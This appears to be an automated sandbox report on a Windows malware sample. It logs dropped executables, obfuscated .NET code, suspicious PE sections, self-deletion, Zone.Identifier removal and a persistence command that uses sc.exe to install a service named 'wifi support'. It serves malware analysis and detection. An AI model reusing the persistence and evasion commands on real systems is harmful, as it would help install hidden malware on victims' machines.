Source: 41.0.2203.exe.cf0000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.2.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.2203.exe.cf0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.2203.exe.cf0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.2203.exe.cf0000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 41.0.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00543634 push es; iretd	0_2_00543640
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 10_2_00473634 push es; iretd	10_2_00473640
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00401880 push esi; iretd	11_2_00401893
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 11_2_00402E94 push es; iretd	11_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_00422368 push eax; ret	13_2_00422386
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_00543634 push es; iretd	19_2_00543640
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_0076943F push esi; ret	19_2_007694BA
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_007694A4 push esi; ret	19_2_007694BA
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00401880 push esi; iretd	20_2_00401893
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_2_00402E94 push es; iretd	20_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 20_1_00402E94 push es; iretd	20_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004139B0 push eax; ret	21_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043C06C pushfd ; retf 0003h	21_2_0043C06D
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043BEC0 push ds; retn 0003h	21_2_0043BEC1
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043BEC4 push edx; retn 0003h	21_2_0043BEC9
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043BEEC push ds; ret	21_2_0043BEF1
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043BE9E push cs; retn 0003h	21_2_0043BEBD
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0043BF5A push esi; retf 0003h	21_2_0043C061
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00483C00 push eax; ret	21_2_00483C2E
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Code function: 23_2_00746EC1 push 0000002Bh; iretd	23_2_00746EC7
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Code function: 23_2_007446CB push ds; ret	23_2_007446CC
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EDC57C push 1400005Eh; iretd	24_2_04EDC581
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EDCF78 pushfd ; retf	24_2_04EDCF79
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04EDCF38 pushad ; retf	24_2_04EDCF39
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F764FA pushad ; iretd	24_2_04F764FD
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Code function: 24_2_04F776ED push E9A84589h; retf	24_2_04F776F2
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_0041504C push 8F85A7E4h; ret	38_2_0041507B
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_00415000 push 8F85A7E4h; ret	38_2_0041507B

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_0042E8D0 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042E8D0

Source: 2203.exe.5.dr

Static PE information: 0xC9D00A97 [Sat Apr 17 03:10:15 2077 UTC]

Source: 7NAzyCWRyM.exe	Static PE information: section name: .paf
Source: 7NAzyCWRyM.exe	Static PE information: section name: .vos
Source: 7NAzyCWRyM.exe	Static PE information: section name: .muyes
Source: 7NAzyCWRyM.exe	Static PE information: section name: .yomica
Source: DDEE.exe.5.dr	Static PE information: section name: .monag
Source: DDEE.exe.5.dr	Static PE information: section name: .jopavi
Source: DDEE.exe.5.dr	Static PE information: section name: .jas
Source: DDEE.exe.5.dr	Static PE information: section name: .javefa
Source: 11C5.exe.5.dr	Static PE information: section name: .doso
Source: 11C5.exe.5.dr	Static PE information: section name: .feti
Source: 11C5.exe.5.dr	Static PE information: section name: .jusuc
Source: 11C5.exe.5.dr	Static PE information: section name: .yegosa
Source: 9A8F.exe.5.dr	Static PE information: section name: .shared
Source: 8633.exe.5.dr	Static PE information: section name: .pamicak
Source: 8633.exe.5.dr	Static PE information: section name: .dos
Source: 8633.exe.5.dr	Static PE information: section name: .modav
Source: 8633.exe.5.dr	Static PE information: section name: .nugirof
Source: BC2D.exe.5.dr	Static PE information: section name: .paf
Source: BC2D.exe.5.dr	Static PE information: section name: .vos
Source: BC2D.exe.5.dr	Static PE information: section name: .muyes
Source: BC2D.exe.5.dr	Static PE information: section name: .yomica
Source: BC8F.exe.5.dr	Static PE information: section name: .johac
Source: rffhjft.5.dr	Static PE information: section name: .paf
Source: rffhjft.5.dr	Static PE information: section name: .vos
Source: rffhjft.5.dr	Static PE information: section name: .muyes
Source: rffhjft.5.dr	Static PE information: section name: .yomica
Source: sqlite3.dll.21.dr	Static PE information: section name: /4
Source: sqlite3.dll.21.dr	Static PE information: section name: /19
Source: sqlite3.dll.21.dr	Static PE information: section name: /35
Source: sqlite3.dll.21.dr	Static PE information: section name: /51
Source: sqlite3.dll.21.dr	Static PE information: section name: /63
Source: sqlite3.dll.21.dr	Static PE information: section name: /77
Source: sqlite3.dll.21.dr	Static PE information: section name: /89
Source: sqlite3.dll.21.dr	Static PE information: section name: /102
Source: sqlite3.dll.21.dr	Static PE information: section name: /113
Source: sqlite3.dll.21.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.21.dr	Static PE information: section name: /124
Source: riwtgmp.exe.23.dr	Static PE information: section name: .doso
Source: riwtgmp.exe.23.dr	Static PE information: section name: .feti
Source: riwtgmp.exe.23.dr	Static PE information: section name: .jusuc
Source: riwtgmp.exe.23.dr	Static PE information: section name: .yegosa

Source: initial sample

Static PE information: section where entry point is pointing to: .CRT

Source: initial sample	Static PE information: section name: .text entropy: 6.98943352023
Source: initial sample	Static PE information: section name: .text entropy: 7.01697156872
Source: initial sample	Static PE information: section name: .text entropy: 6.99843087623
Source: initial sample	Static PE information: section name: .CRT entropy: 7.99697588513
Source: initial sample	Static PE information: section name: .text entropy: 6.86420375863
Source: initial sample	Static PE information: section name: .text entropy: 6.98943352023
Source: initial sample	Static PE information: section name: .text entropy: 7.73188934702
Source: initial sample	Static PE information: section name: .text entropy: 6.98943352023
Source: initial sample	Static PE information: section name: .text entropy: 6.99843087623

Source: 2203.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 2203.exe.5.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 24.0.2203.exe.580000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 24.0.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 24.0.2203.exe.580000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 24.0.2203.exe.580000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 24.0.2203.exe.580000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 24.0.2203.exe.580000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 24.2.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 24.2.2203.exe.580000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 24.0.2203.exe.580000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 24.0.2203.exe.580000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.5.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.2.2203.exe.cf0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.2.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.9.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.7.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.13.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.11.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'
Source: 41.0.2203.exe.cf0000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'ILWbh4dA5o', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.2203.exe.cf0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'TrxrMWjIFH', '.cctor', 'HFy1hJS0CoXCn6m8dm', 'VCa4Z9J2Pub20Yf37a', 'TUclnR3OCQa0B2K5D0', 'zHUr8DuSKJyxwthSiL'

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rffhjft

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\11C5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BC2D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8633.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9A8F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BC8F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rffhjft	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2203.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	File created: C:\Users\user\AppData\Local\Temp\riwtgmp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DDEE.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\11C5.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

38_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\7nazycwrym.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rffhjft:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

21_2_0040C2E0

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
